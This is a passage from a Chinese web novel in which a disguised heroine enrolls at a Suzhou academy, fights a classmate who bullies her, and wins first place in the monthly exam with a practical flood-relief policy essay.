回去路上,寻真转念一想,去苏州求学倒也不错。 洪灾过后,泗州整个城市的生产都在缓慢恢复,可苏州不同,经济繁荣。青麓书院就在苏州城中,若能在那儿生活,生活品质肯定能提高,比在滩头村过得好。再有,她们那么多钱,在这儿都不敢多露财,生怕惹人怀疑。 但去了繁华地,大隐隐于市,便不会有那么多人关注了。 甄凌预估着寻真回来的时间准备饭菜。寻真下了牛车,在乡间小路七拐八拐往家走,还没进屋,便闻见菜香了。 吃饭时,两人讨论去苏州的可行性,甄凌没意见,一切听寻真的。 寻真道:“好,我明日就去同夫子说。” 夫子得知她同意后十分高兴,还给她准备好了一袋银子,寻真只觉得这老夫子也太实诚了,在心里默默收回了吐槽他讲课无聊的话。 寻真拒绝了夫子的资助,夫子还多次询问,若有困难千万别不好意思。寻真再三强调自己有钱,夫子才信了。 寻真拿着推荐信,向夫子作揖致谢。 寻真问道:“先生,为何对我这么好?” 老夫子摸了摸胡子,笑道:“我知你非池中之物,早晚有一日能有出息。” “待到那时,可别忘了我这老头子啊。” 寻真便跟老夫子画饼,说以后有出息了肯定不会忘。出去时,还纳闷,自己到底哪儿的表现,让夫子有了这种错觉? 青麓书院二月开学,过完年,寻真和甄凌便收拾好家当,准备搬家。寻真有些不舍,那些运动器材都带不走,到了苏州又得重新打造。寻真最后望了屋子一眼,对甄凌说:“我们走吧,以后有机会再回来看看。” 这次,两人拿着官府核发的过所,坐着马车出了城门。 马车慢行,五日后,二人进入苏州府。 仲春二月,河畔草长莺飞,垂柳依依。坊巷纵横,粉墙黛瓦错落有致。马车驶入主城区,只见招牌幡旗随风招展,茶香、酒香、糕点甜香交织,在市井街巷弥漫。 果真是上有天堂,下有苏杭啊。 寻真和甄凌随便进了一家酒楼,小二瞧着两人的行囊,问道:“二位可是外乡人,头一回来咱们苏州?” 寻真趁机打听周边有无房屋出租或售卖的消息。 小二上下打量了一番寻真,问道:“公子莫非是来此求学的?” 寻真惊讶,这都被看出来了。她也没隐瞒,坦言自己是去青麓书院求学,打算在此长住。 小二惊讶:“可青麓书院的入学考上月便结束了啊?” 啊?还有入学考? 寻真心想,若真的有入学考,老夫子总不至于故意坑她不说吧,而且她走时,老夫子就说了,拿着推荐信直接给院长就行。 寻真就说:“我是其他书院推荐来的。” 小二:“原来如此,那公子的才学定是极为出众了。” 一番交谈后,寻真得知,大周朝除了官方的国子监、崇文馆等学府,青麓书院在民间学府中能排进前三,常有外地人不远千里前来求学。 两人吃过饭,寻了牙子,看了多处,最后选定十全街上一处一进二层的宅子,交了两年租金,便住下了。 寻真对这房子很满意,前街后河。 出了门,穿过小巷便是市集,逛街方便。二楼房间打开后窗便能看见潺潺河水,看着就让人心情愉悦。 两人花了两天购置必需品与家具,布置好房子,又买了些杂物,一切安排好后,寻真便去青麓书院报道了。 寻真坐着马车到了青麓书院。 给门子出示推荐信后,便被放行进入。 一进院门,寻真便瞧见醒目的公示栏。她挎着包袱,走近一看,上面是类似现代学校的全校排名。 标题为——天启十七年青麓书院入学贤榜。 接着是从上往下依次排列的名字。 看这数量,似乎把这一届入学的学子都列了上去。 走进院长办公室时,寻真看着手中的推荐信,心中涌起不祥的预感,她该不会是走后门进来的吧? 该不会只有她一人没考试就进了书院? 寻真的预感成真了。 院长与老夫子年纪相仿,慈眉善目。他拉着寻真聊了许多老夫子的事,原来青麓书院的院长与老夫子是同年参加科举的。 “你就是知行的得意门生?知行多次在信中对我夸赞你,说你前途无量,定能蟾宫折桂。极力推荐我一定要收下你。” 什么? 老头子居然这么搞,这不把她强行架起来了吗? 还有,她在那书院半年都没读到,就得意门生了? 寻真讪讪笑笑:“先生过誉了,小生哪有这般才华,都是谬赞,谬赞。” 院长道:“莫要自谦,知行已把你的策论给我看过,见解独到且言辞精妙。我们书院本没有不考试就直接入学的先例,这回是为你破例了。” 什么? 寻真又是一惊,不要吧…… 她不想要这种特殊对待啊。 院长拍了拍她的肩,唤来一人,带她前往若水堂。 寻真背着一袋书,从廊间往里望,只见堂内身着相同青色儒服的学子,大多二十岁上下。一路上,寻真向助教打听清楚了,他们已经开学十天了。 又给她这个“关系户”加难度了。 老头子怎么不把情况说清楚啊,该早点来的! 插班生寻真跟着助教走进讲堂,助教向夫子简单介绍了寻真,寻真站在一旁,感觉所有人的目光都齐刷刷地落在她身上。 夫子年约四十,一脸严肃,浓眉深目,是寻真最怕的老师长相。 寻真的小心肝颤了颤。 夫子捏着手中的花名册,当着众人的面,沉声道:“你就是那个院长赞不绝口、力荐入学,既未参加入学试,又足足迟到十日的……” “甄善美?” 第105章 第105章“事端” 被当众叫这个名字,莫名有种羞耻感。 寻真看着面前这个一脸凶相的夫子,已经能想象到接下来的日子恐怕不太好过了。 “是,先生,我就是甄善美。” 好在夫子并未继续刁难,指了堂中仅存的那个空位,让她坐下。 寻真暗暗松了口气,要是他再咄咄逼人,她真得好好考虑要不要继续留在这儿了。 千辛万苦才走到这一步,可不是为了来受这些莫名其妙的委屈的。 寻真坐下,从包袱里掏出书本,一本本码在左边桌角,接着又拿出笔墨纸张,摆好。最后,抓了一把牛乳糖,放在右边桌角。 许是她这一连串的小动作过多,夫子冷不丁扫了她一眼。 她环顾四周,见学子们个个都坐得笔直端正,满脸求知若渴,见状,寻真也挺直腰杆,摆正姿势。 夫子开始讲《礼记》,那语速慢悠悠,拖拖沓沓,寻真听着听着就困了。她心想,大概是谢漼的快语速听习惯了,碰上这种慢吞吞的,实在集中不了。 她强打精神听了一会儿,还是没忍住,打了个哈欠。 不过,不得不承认,不愧是民间排前三的书院,这个夫子确实比老头子要厉害一点,还是值得一听的。 但是,要比起来的话,还是谢漼更—— 等等,怎么又想到他了。 寻真晃了晃脑袋。 “甄善美。” 夫子的声音骤然响起,寻真起身,目光与夫子的对上,寻真后背一凉。 “院长既对你青眼有加,想来你必有一番过人本事。这题便由你来作答。”赵崇立眼神里带着几分审视。 所有人的目光再次聚焦在寻真脸上。 她与夫子对视片刻,额头渗出细密的汗珠,在夫子锐利的目光下,她问:“……先生,您适才所问,学生一时未听清,先生可否……再述一遍?” 赵崇立的脸色肉眼可见变得更难看了,那眼神,仿佛已经将她彻底定死在“废物关系户”的位置上了。 赵崇立指了指后面:“既然无心听讲,就去后面站着吧!” 寻真认命去后面罚站,突然有点怀念老头子了。 老头子虽然讲得无聊,但整天笑眯眯的,就算她没听清,也会脾气很好地重复一遍。 还有谢—— “纪慎。”赵崇立的声音再度响起,这一次,他的语调明显柔和了许多,眼神里也多了几分温和。 寻真看见坐在自己前面的人站起身。 纪慎。 这名字怎么有点耳熟? 那人开始作答,寻真听着听着,便知道了夫子刚才提的问题,大概是——本朝以文治国,教育一事至关重要。当下官学与私学各有利弊,教学内容却与实际需求脱节。依据《礼记》中的教育理念,探讨如何优化教育体系,培育实用型人才。 寻真心想,这问题她会啊。 首先强调以“化民成俗”为教育根基,在此基础上丰富教学内容,不可局限于四书五经,可增设一些实用学科,比如算术、天文、地理等。教学方法需因人而异,因材施教。依照《礼记》的标准,选拔品德、学识、教学能力兼备的人当老师。最后再讲,教育不能与社会脱节,要多多关注民生,不可一味拘泥于书本知识,要积极贴近生活实际。 她发现纪慎的答案与自己的差不多,只有一些细微的差异。 赵崇立满意地点点头,抬手示意纪慎坐下:“廷秀讲得很好,” 寻真盯着那人的背影,想起来了。 纪慎,不就排名榜上排第一的那个人吗? “甄善美。”寻真又一次被夫子点到名字。 寻真:“……嗯?” 赵崇立:“你可记下了?” 寻真心里有些憋屈,但想着第一节课就顶撞老师总归不太好,还是低调一点。 “记下了。” 赵崇立:“回来罢。” 寻真回到座位上,夫子继续讲道:“今提此一问,便是要向你们言明……” 寻真听着,夫子大概讲的是,近年来,大周朝灾祸不断,旱灾、洪灾接连发生,所以,在科举取士方面,朝廷增设了一些相关内容,涵盖水利工事、山川地理等知识领域。就比如去年,乡试策论题中便出现了有关水利工程的题目,会试里也有田亩计算、税收分配方面的内容,因涉及过广,致使不少原本才学出众的考生落第。 这意味着,科举考试的范围进一步扩大了。 听完夫子这番话,学生们的神色愈发凝重,不少人开始唉声叹气。 寻真拖着腮,这事儿和自己关系不大。 放课后,赵崇立朝寻真的方向看了一眼,寻真心里一紧,听见他说:“廷秀,来。” 寻真前面的纪慎便跟着赵崇立出去了。 学子们纷纷起身,涌出教室。 此时正值饭点,他们想必是去膳堂用餐。 寻真先去交学费,到了缴费处,得知只需二十五两银子,老头子还真给她砍去了一半的学费,她的心情有些复杂。 助教给她指过膳堂的位置,寻真一路找去。当她踏入膳堂的瞬间,里面明显一静,寻真若无其事地走进去。 学费包含了膳食费用。膳堂中央设有餐台,所有人的餐都一样,今日有两个菜,豆腐羹和烧鸡。寻真尝了几口,味道一般,决定明天起还是自己带饭吧。 “……瞧见没,那人就是院长推荐进来的,连入学试都没参加,这在青麓书院可是前所未有的事儿。” “院长竟为他破了例,难不成他有惊世才华?” 那人嗤一声笑:“呸,什么才华!刚刚先生提问,他半个字都答不上来,我看呐,指定是院长哪个远房亲戚,靠关系混进来的!” “竟有此事?青麓书院向以学风清正、选拔严格著称,我还一直以为断不会出现这等事呢!” “水至清则无鱼,罢了,咱们只管做好自己,专心向学,这种人……还是少打交道为妙。” 青麓书院既可以走读,也能住校,不过大多数学子都选择住校,毕竟来回往返着实浪费时间,住在书院里还能多些时间读书。 但寻真当然选走读了。 由于寻真没有参加入学考,再加上她上课偶尔会走神,整个人看起来懒懒散散,完全没有其他学子那般积极向上的学习劲头。每天踩着点来,到了点走,也不像其他学子那样,主动围上去向夫子请教问题。 这种消极的学习态度,让夫子们对她的印象便差了,目光扫过她时,完全就是看问题学生的眼神,眼里满是偏见。 其中赵崇立尤为明显。 不仅如此,寻真还察觉到学子们似乎也在疏远她,总是有意避开她。 回想之前,平日里和同窗们偶尔还能说上几句话,维持着普通的同学情谊。相较之下,在这儿,寻真明显感觉自己被集体孤立了。 寻真心里虽有些不是滋味,可转念一想,自己本就没打算在这儿交朋友,便算了。 甄凌察觉到她情绪低落,便问:“哥哥,可是书院里出什么事了?” 寻真望了一圈,院子里竖着双杠,摆着几把寻真亲手制作的小竹椅,院子两边还种上了几棵小树苗。屋内,家具齐全,前几日让铁匠铺打造的杠铃和哑铃也都送来了。 房租也一次**了两年。 寻真想了想,再忍几天看看,要是他们实在过分,大不了就退学,反正也不是非在这书院读书不可。 “没事儿。就是初来乍到,还不太适应,过些日子就好了。” 或许是因为寻真平日沉默寡言,旁人都以为她好欺负。 一日,寻真正要走进学堂,瞧见里面有人出来,便主动往边上避让。可那人非但不领情,出来时还故意撞了一下寻真的肩膀,挑衅地看了她一眼。 寻真顿时冒出一股火,瞪过去。 “哟,你还敢瞪我?既然是走后门进来的,占了别人的位置,就该老实点,夹着尾巴做人……”那人旁边的同伴也跟着哄笑起来。 听着那刺耳的嘲笑声, 寻真忍无可忍,猛地冲上前去,一拳狠狠砸在那人鼻梁上。 廊里爆发出一阵惊呼,紧接着是纷乱的脚步声,很快就有人跑去报信。 一学子冲进斋舍,喊道:“先生,甄善美和孙嘉佑打起来了!” “怎么会打起来?”赵崇立闻言,立刻起身,跟着学生赶往现场。 赵崇立赶到时,只见一群人围在那儿看热闹,却没有一个人上前阻止。 他快步走进人群,只见甄善美正骑在孙嘉佑身上,一手扯着对方的衣服,一手挥着拳头,单方面地对孙嘉佑进行殴打,而孙嘉佑毫无还手之力。 “还不快给我住手!”赵崇立怒声吼道。 寻真动作一顿,就在这时,孙嘉佑趁机挣脱了她的束缚,扭着身子朝她还击,寻真只能继续压制住他。 赵崇立见两人丝毫没有停手的意思,赶忙看向人群,点了两个人的名字:“纪慎,袁锦城,你们俩去把他们拉开!” 两人被强行分开,随后被一同带到赵崇立的办公室,拉架的纪慎和袁锦城也跟着进去。 赵崇立面色阴沉,厉声问道:“到底发生了什么事?” 寻真瞧了一眼被打成猪头的孙嘉佑,生怕他恶人先告状,忙道:“先生,我方才正要进学堂,见此人从里面出来,便特意避让,可他非但不感激,反而故意撞我,还口出恶言挑衅,是他率先挑起事端的!” 第106章 第106章“考试” 孙嘉佑:“先生,甄善美颠倒黑白!学生不慎撞到他,绝非有意为之。可他却直接冲上来对我拳打脚踢,同窗皆看得清清楚楚,都能为学生作证,是甄善美先动手的!” 赵崇立问一旁两人:“纪慎,袁锦城,你们可看见了?” 纪慎是听见声音才出去的,并未瞧见冲突的起始:“学生是听到外面喧嚷声才出去的,到之时,二人已扭打在一起了。” 袁锦城道:“学生都看见了,确实是孙嘉佑先撞到甄善美,但无法确定是否故意,且孙嘉佑撞人之后,还说了一番话。”袁锦城将孙嘉佑当时说的话复述出来,“而后甄善美便打了孙嘉佑。” 赵崇立问寻真:“袁锦城所言可是实情?” 寻真:“是。” 寻真心想,不管怎么说,都是对方主动挑起事端,自己不过是一时冲动动了手,行事虽有些偏激,但总归是事出有因。就算夫子要罚,那也该是两人一并受罚。 赵崇立却道:“甄善美,你可知错?” 寻真直视着赵崇立:“我错在哪?” 赵崇立:“孙嘉佑仅以言语冒犯,你便施以暴力,此举已背仁恕之道。” “夫仁人者,当怀仁善,克己宽人。” “若仅凭一时意气,动辄暴力相向,那与市井中的粗鄙莽夫又有何区别?” 寻真深吸了一口气,胸腔里无名火翻涌,实在咽不下这口气,反问道:“敢问先生,若以德报怨,何以报德?” “若善恶不辨,皆予宽宥,世间的公理又何在?” “《尚书》云‘独夫受,洪惟作威,乃汝世雠。树德务滋,除恶务本。’,昔日商纣王,暴虐无道,残虐百姓,视民如草芥。百姓为求生存,只能奋起反抗。在反抗过程中,采用强力手段,此乃被暴政逼迫,是为了守护自身权益,维护天下大义。” “小至人际交往,道理亦是相通。若对他人的恶行一味容忍,恶者必以为我怯懦可欺,只怕会让对方得寸进尺、变本加厉。” “故而在必要时刻,为保护自己,理应有所反击。” 赵崇立一怔,原本打算一起批评教育,逐个来罢了,却没料到寻真能说出这样一番条理清晰、引经据典的辩驳之词。 赵崇立正色道:“你所言并非毫无道理,商纣无道,武王兴正义之师讨伐,此乃顺应大义。可此事,不过是口角纷争,怎能与改天换地的大业相提并论?你若觉得被冒犯,大可晓之以理,动之以情,用言辞感化,而非直接拳脚相向。” 寻真道:“先生,若要晓之以理,那得对方是个明白事理之人。我方才已主动退让,可他却误以为我的退让是畏惧。倘若我不表明态度、有所行动,日后怕是会被他肆意欺辱。” “从他先前言语可知,他为人心胸狭隘,且不明真相便妄断他人,乃蒙昧无知之辈。” “儒有可杀而不可辱也。对这种人,一味迁就,只会助长他的嚣张气焰。既失我气节,亦违君子之道。” 孙嘉佑手指着寻真:“甄善美你这竖子——” 赵崇立神色一凛:“孙嘉佑。你还有什么话要说?” 孙嘉佑脸上一阵白一阵红:“先生,甄善美来路不正,以不正当之法入我学馆。我就是看不过去,为那些被占了名额的同窗鸣冤,说他几句罢了,哪成想他上来就揍!” 寻真:“先生,此人已承认是他主动挑事,故意撞我,还恶语相向。请先生秉公处罚。” 寻真话音落下,室内一静。 孙嘉佑急切分辩:“我何时承认了?先生莫要听信这人的一面之词!” 赵崇立的眼神在两人身上来回流转,沉思片刻,道:“孙嘉佑,方才甄善美所说,你有何想法?” 孙嘉佑都被打蒙了,刚才寻真叽里呱啦一顿输出,根本没听进去多少。 “这人就是巧言令色……” 赵崇立道:“的确是你有错在先,你向甄善美道个歉,此事便就此作罢。” 孙嘉佑满脸不可置信,拔高了声调:“先生——!” 赵崇立静静地凝视,目光中带着不容置疑的威严,孙嘉佑的气焰顿时矮了下去,不情不愿地向寻真拱手作揖,咬着牙说道:“是我行事莽撞、言语不当,还请你大人有大量,原谅我这一回。” 寻真先一步出去,踩着轻快的步子回学堂。 这夫子没她想的那么坏,是讲理之人。 一路走回去,寻真发现学子们的目光中隐隐带着惧意。她一手按着右肩,活动手臂。有人快步追上来,拍了一下她的肩膀。 “嘿,甄善美。” 寻真转头看去。 是袁锦城,刚才拉她的那个。 袁锦城道:“未料到甄兄口才这般出众,想来,大伙儿都错看你了,甄兄定有真才实学,不过深藏未露罢了。” 寻真干笑两声。 袁锦城指着脸上那四五道红痕:“不过,甄兄你到底是吃什么长大的?力气怎这般大,我方才拉你,被你一抓,就成这样了。” 这红痕还挺明显的,寻真道:“……抱歉,我当时没注意。” “没事。” 二人走进学堂,众人的目光汇聚而来,寻真仿若未觉,走到自己的位置坐下,袁锦城跟着过来,好奇地指着寻真桌角问道:“这是何物?” 寻真:“牛乳糖,你要吃吗?” 袁锦城:“好啊!” 寻真给了他几颗。 袁锦城拆开油纸,嚼着奶糖,在寻真前面的位置坐下:“甄兄方才那一番言论,实令我刮目相看。由此可见,甄兄必有过人之处,果然流言不可轻信。想来……月末便能见识甄兄的真才实学了。” 寻真不解看向他。 袁锦城:“月末有考校,甄兄竟不知?” 什么? 还有月考? 纪慎回来了,袁锦城起身,让出座位,斜倚一旁案几。 寻真:“每月都得考?” 袁锦城道:“甄兄竟不知?也是,甄兄晚来了十日。” “那甄兄可知,总排名居首者,便可免全部束脩?” 寻真:“怎么说?” 袁锦城:“到年末,依每场考试之等级,加上入学试,共六场。总排名居首者,即可退还全年束脩。” 原来是这样。 寻真若有所思。 袁锦城捏着手中的糖纸:“不过甄兄已缺了一场,欲争魁首,便较我等更为艰难了。” 入学考的排名一直挂在院门口。 寻真路过时,偶尔会瞥上一眼,这袁锦城,就是第二名了。 自打架事件后,众人明显都有些怕她。那个被寻真 揍成猪头的孙嘉佑,见了她,最多瞪她一眼,不敢再轻易动手。 而袁锦城反倒开始主动与寻真搭话,偶尔约她一起去膳堂吃饭。 寻真最近手不释卷,连吃饭的时候都在看书,整个人卯足了劲儿,就连梦里都在背那些之乎者也。 虽她并不缺那二十五两银子,但……不争馒头争口气! 这日,青麓书院院长来找赵崇立,二人聊了一会学院教学细务。 院长走时,赵崇立问道:“山长,那甄善美有何过人之处,让您破例收他?” 院长:“随我来。” 到了山长室,院长从架子上取下取下数篇策论,递给赵崇立。 赵崇立翻看着,久久未语,院长见他看到最后一份,便问:“敬德,可看出什么来了?” 赵崇立:“言辞质朴平实,文采稍欠,可见文学一道是其短板。然可贵处在于,他对民生疾苦,洞悉入微,所陈之策,新颖独到,皆切中时弊,为百姓着想。” 院长捋捋胡须:“正是。这世间徒有文采者不在少数,为官之后,却尸位素餐、无所作为,又有何益?” “且我观此人面相,双眼清明,且无逐禄之心,可见其心境纯粹,若投身朝堂,定能为百姓谋福祉。” 两人在这边给寻真上道德高度,寻真在愁考试呢。 得知考试内容后,寻真顿时感觉自己的赢面没那么大了。 青麓书院的考试仿照科举会试的模式,一共考三场,分别是经义、诗赋、策问。经义么,主要是填空和阅读理解,策文,就是对时政问题进行分析,并提出切实可行的对策。 这两个问题不大。 但写诗作赋,寻真就完全不行了,离开泗州前,老头子塞给她几本诗集,千叮咛万嘱咐让她多在文辞上下功夫。 可她实在没那个天分啊。 一日,诗赋课上,赵崇立出了一题,以“春日山景”为题,让学子们当堂创作七言诗。 寻真抓耳挠腮的,眼看着旁边的人都陆续写完了,寻真蘸着墨,硬挤似的,随便填了一句上去。 赵崇立:“我便随意择取几位,观诸生所作。” 赵崇立的目光扫了一圈,寻真拼命低头,躲他的视线。 赵崇立的目光从寻真头顶掠过,落在她前面的纪慎身上:“纪慎,你先。” 寻真拍了拍胸口,逃过一劫。 纪慎从容读着自己的诗,读完后,赵崇立点头称赞:“廷秀此七言,笔力不凡。动静相衬,意境开阔,实乃上乘佳作,可评为甲等之上。” 寻真听着,也觉得挺厉害的。 这人怪不得能拿第一,还是很有水平的。 接着,赵崇立又点了几位,分别给出评分,不过,之后没有出现跟纪慎一样高的。 寻真听着,这一个两个,作诗都这么厉害。 她还是省省吧,估计前十都拿不到。 窗外传来三下钟声,下课了。 寻真猛地松了口气,终于结束了。 “甄善美。”突然,赵崇立叫到了她的名字,寻真心里“咯噔”一下,不会吧,怎么哪儿都有拖堂的! “最后一则。” 寻真看着自己这首狗屁不通的诗。 好了,这下真坐实了“废物关系户”。 在赵崇立的注视下,寻真缓缓起身,硬着头皮读自己的诗。 很快,有人忍不住发出憋笑声,随后笑声蔓延开来,整个课堂哄堂大笑。 寻真瞪过去,那些人稍微收敛了些。 寻真静等着赵崇立给出最低分。 赵崇立心想,从甄善美的策文便能看出,他文采方面必定有所欠缺,如今一看,诗赋水平竟如此薄弱。若真上场,另外两项再好,也无用。 赵崇立并未当场评价她的诗,只是宣布下课,然后对她说:“甄善美,你随我来。” 在一片笑声中,寻真跟着赵崇立出去了,到了他的办公地,赵崇立从书架上翻找出七八本书,递给她。 “拿着。” 寻真接过后,赵崇立语重心长地说:“你文采匮乏,此非朝夕可补,唯有多记多背,把他人精妙诗赋钻研透彻,日后所作,便不会太差。” “回去罢。” 寻真:“是,多谢夫子。” 这夫子怎么突然对她这么好了? 寻真满心狐疑,捧着书回去,刚一进门,里面便爆发出一阵哄笑,有个嘴欠的,甚至当着她的面大声念起她刚才写的诗。 寻真白了那人一眼,回到位置。 “这甄善美到底是何来历?我犹记甄善美初来时,先生可是对他并无好感,可如今竟亲自赠书于他!” “还能有什么缘故?定是书院里有人找先生谈过了!” “哈哈哈,不过,我实未想到,有朝一日竟会听到这样的诗,恐怕连三岁孩童作的都比他强些吧!” “……莫非他对院长有救命之恩?” 寻真自然知道学子们在背后嘲讽她了。 对此,寻真加倍在诗赋上下功夫,就按照赵崇立说的,多背好诗好赋。 寻真也不奢求文辞优美、意境深远,只要格式不出错、不偏题,能保个及格就行。 很快,到了月末。 第一场考经义,没什么问题,那些儒家经典,寻真早已背得滚瓜烂熟,十道试义题,寻真都会,写起来行云流水,一气呵成。 第二场,是寻真最担心的诗赋,要求诗、赋各写一篇,诗的题目是“海上日出”,赋则以“贤臣辅佐国家”为题。寻真绞尽脑汁写完,最后通读一遍,自我感觉还不错,格式都对,比上次当众出丑的那篇进步很多了。 最后一场是策问,一共考五道。 寻真看着题目,都不算特别难。而最后一道,竟然提到了凤阳府的洪灾。 题目是这样的——淮河沿岸等地遭遇严重洪灾,当地官员推行荒政三策,效果显著。若你居其职,在现有政策的基础上,要进一步完善,该从何处入手? 这问题,寻真之前还真思考过,于是,下笔如有神,很快写完了,写完后,环顾四周,见大家都眉头紧锁,还在埋头苦写。 赵崇立看见她写完了,从讲台走下来,轻声询问:“写好了?” 寻真把答卷交给他,十分高调地第一个走出了考场。 走出考场时,她回头望,看见赵崇立正拿着她的答案,凝神细看。 第107章 第107章“骚动” 青麓书院十日一假。 考完试,后一日便是假期。 寻真伸了个懒腰,一边朝着书院门口走去,一边在脑中复盘,感觉自己发挥得还可以,起码能排个中上。 有一点,寻真也不得不承认,离开谢府后,生活质量是全方位降级了。 衣食住行,贵族无一不精。在谢府时,寻真吃的是贡米,那贡米是专门从各地精选,经过多道程序加工,不仅去除糠皮,还要经过反复筛选,从中筛出其中最优质的。而百姓吃的,质量参差不齐,要么就是糙米,要么就是掺杂着杂质的次等米,口感相当粗糙,吃着还划嗓子。 即便是市面上能买到的最好的米,比起谢府的,也差了一大截。 寻真以前在谢府,还嫌弃过饭的口感比不上现代的,出来了才知道,原来那已经很好了。 现在,寻真就不太喜欢吃米饭了。 午膳,寻真只吃了小小一碗米饭,留了肚子,叫上甄凌一起去逛街,去街上吃点好吃的。 午后,街上熙熙攘攘,人声鼎沸。 街头有小贩挑着担子,卖麻团和酥饼,寻真每样各买了两份,跟甄凌分着吃,两人吃着饼,并肩往街里走去。 苏记点心铺新出炉了一批莲花酥,店门口排起了长龙,寻真拉着甄凌加入了队伍。 刚出炉的莲花酥,咬上一口,咔嚓一响,里面的枣泥陷软糯绵密,瞬间在唇齿间化开,甜而不腻,回味无穷。 吃完,寻真掸落衣襟前的碎屑,微仰起头,迎着明媚的春光。 不过,还是这样的日子更舒服。 两人手里拎满了各种吃食,往回走,寻真朝着街角望了望。 甄凌顺着她的目光看去,问道:“哥哥在看什么?” 寻真指着一角,道:“有个大娘做的南瓜饼可好吃了。她每天都会来,酉时初刻才收摊。” 甄凌道:“是哥哥总给我带的那个南瓜饼吗?的确好吃。” 两人无事,也不着急回去,便在一旁的茶馆点了个包厢。 寻真放假时,她们俩时常来这儿喝茶、吃点心,小二都认识她们了。 小二问:“公子,小姐,还是和以前一样,一壶紫笋茶,一盘禅悦四果,再一盘透花糍吗?” 寻真道:“正是。” 寻真给了小费,小二喜笑颜开地跑出去了。 窗外,和煦的风轻轻吹入,两人喝着下午茶,望着窗外景致,时不时闲聊几句,时光就这样缓缓过去了。 下楼后,恰好看见大娘推着 车过来了,寻真见大娘推得吃力,便把手中的东西交给甄凌,跑过去帮忙。 “大娘,我还以为您今天不会来了呢。” 寻真把炉灶和风箱挪到一旁,大娘将盛着南瓜饼原料的木桶和竹篮摆到台面上。 “多谢小哥,我家那口子做活时摔断了腿,刚刚赶着送去医馆,这才来迟了。” “可严重?” 大娘叹气道:“一时半会儿好不了,家里的地也没人打理,要不是东西都备好了,本都不打算来了……小哥,明日起,便不再出摊了。” 寻真要了一大袋,还问大娘什么时候会再出摊。 大娘道:“大夫说了,至少得三个月才能下地呢。” “小哥,你要是想吃,我让人给你送来怎么样?” 寻真想自己买的也不多,专门让大娘送来,不太好意思,说:“大娘,不用了,等您日后再出摊,我再来。” 大娘道:“不妨事,我家小儿在青麓书院读书,每十日都回家一趟,顺道就给小哥你带过去。你不就住在这后头嘛。” 这么巧,大娘儿子也在青麓书院? 不过书院人那么多,也不一定认识,而且,她人缘不太好,还是不提了,免得大娘让她儿子直接送到书院去。 于是寻真给大娘指了住处,还提前付了一个月的南瓜饼钱。 考试名次在五日后公布。赵崇立当众宣布,排名已贴在书院门口,学子们瞬时骚动起来,无心听课,钟声一响,便如潮水般涌了出去。 室内,只剩零星几人。 寻真心想,反正回去也要路过那儿,现在肯定人挤人,还是不凑这个热闹了。 一刻后,学子们陆续返回,脸上的神情或欣喜,或落寞。与离开时的喧闹相比,谈论声明显低了许多,透着几分沉重。 寻真看着书,隐隐感觉有目光若有若无投来,抬眼望去,果然捕捉到几双正盯着她的眼睛,那眼神带着几许探究,几分怀疑,细碎低语中,似乎还夹杂着她的名字。 寻真的疑惑很快在下一堂课有了答案。 答卷分发下来,只有寻真没拿到。 负责发卷的纪慎回到座位,用一种莫名其妙形容不上来的目光看了一眼寻真。 寻真就觉得可能又是哪个人看不惯她,故意整她,赵崇立来了,便举手问道:“先生,我没拿到卷子。” 赵崇立道:“你的文卷已张贴于书院门口的榜文处。” 寻真懵了,第一反应是自己被公开处刑了。 赵崇立继续道:“你们都已瞧见名次了,想来,心中或有不服。” “此次头名,是我与诸位先生并院长共议而定。” “甄善美在诗赋上虽略有不足,但经义一卷,全无舛误,策文更是见解超拔,尔等观阅之后,便知为何。” 众人的目光齐刷刷地转向寻真,寻真面对那么多双眼睛,愣了片刻才反应过来—— 她竟然拿了第一? 得知寻真的答卷贴在院门口,学子们再也无心上课,交头接耳的嗡嗡声此起彼伏,赵崇立便提前放课,道:“若你们实在好奇,便去看吧。” 话音刚落,学子们便涌出课堂。 通往书院门口的大道上,学子们热烈讨论着。 “我方才看了排名,还以为那甄善美偷了考卷呢!……他诗写得那般差,竟得了头名,我还想着他胆子可真够大的,就算凭歪门邪道得了第一又如何,谁能服他?……现在看来,倒是误会。” “是啊,先生不是说了嘛,他诗赋不行,但其他两卷答得极为出色……一会儿看了便知。” “这次的策问这样难,他倒好,第一个就答完交了,我还当他是写不出,所以提前放弃了呢。” 课堂里的人几乎走光了,只剩下寻真和另外两个。 袁锦城走过来,道:“甄兄竟真得了头名,恭喜,恭喜。我也有些好奇了,这会便去瞧瞧甄兄的卷子。” 寻真不失礼貌地笑笑。 袁锦城经过纪慎时,问道:“纪兄可要一同?” 纪慎放下手中的卷子,起身,跟袁锦城一同出去了。 书院门口。 公示栏前,里三层外三层,围得水泄不通,时不时传出阵阵惊叹。 袁锦城越发好奇,甄善美究竟写出了怎样的答卷,能让大家如此惊叹。 袁锦城挤进人群,惹得周围人一阵埋怨,一个正拿着小本子记录的学子被挤到一边,嘟囔着:“别挤呀!我还没记好呢!” 寻真的经义、诗赋、策文答卷,从左至右,依次张贴在公示栏上。 袁锦城先看到经义一卷,评为甲等上,如先生所说,无一错。再看诗赋,为乙等中。 看来,定是她的策问答得极其精妙,才让夫子们一致认可,将她评为头名。 策文答卷上,朱笔醒目地圈出了甄善美的名字,旁边批着“甲等”、“上佳”。 袁锦城逐字逐句看下去,直到最后,心服口服。 甄善美颠覆所有学子认知的地方在于,大家或多或少都会以科举应试的思路来答题,或辞藻华丽,或引经据典。总之,无不是怀着高中的想法去行文作答。 待看过甄善美的卷子便会明白,二者的差距。 比如最后一道策问,题目问的是凤阳府洪灾治理,如何在荒政三策的基础上进行改进。 这道题说难不难,但要答出新颖却极为不易。 袁锦城答题时结合历史上的治水案例,以及儒家典籍中的理念来阐述观点,提出兴修水利、开仓放粮、加强预防等措施,逐一细化,他这一卷得了甲等中。 而甄善美的答案,文字质朴平实,毫无修饰,全文都是用最通俗易懂的语言。 同样是开仓放粮,她详细规划了放粮方案:依据当地受灾人数、受灾程度划分不同区域,设立固定放粮点,再按照每人每次三日口粮的标准发放。 多少灾民,需要多少粮食,以及分发完这些粮食需要的天数。 她都精确计算出,并计划好了。 在安置流民方面,也细致入微。 从如何安全转移流民,到及时提供医疗救助,再到着重强调寻找干净水源,预防时疫发生……每一处细节都考虑到了。 还有,对于“减粜出贷”这一策,她也进行了全面扩充。 比如,为防止有人囤积居奇,规定每人每次购粮限额,根据受灾程度和还款能力确定个人的贷款额度,确保资源合理分配。 这一篇,他实在答得太全面、太完善了,方方面面都考虑到了,每一条措施都具体可行。 简直就像是一份可以直接颁布施行的政令。 袁锦城反复读了好几遍,由衷感叹。 甄善美拿这个头名,实至名归。 自此,学子们看寻真的眼神彻底变了。 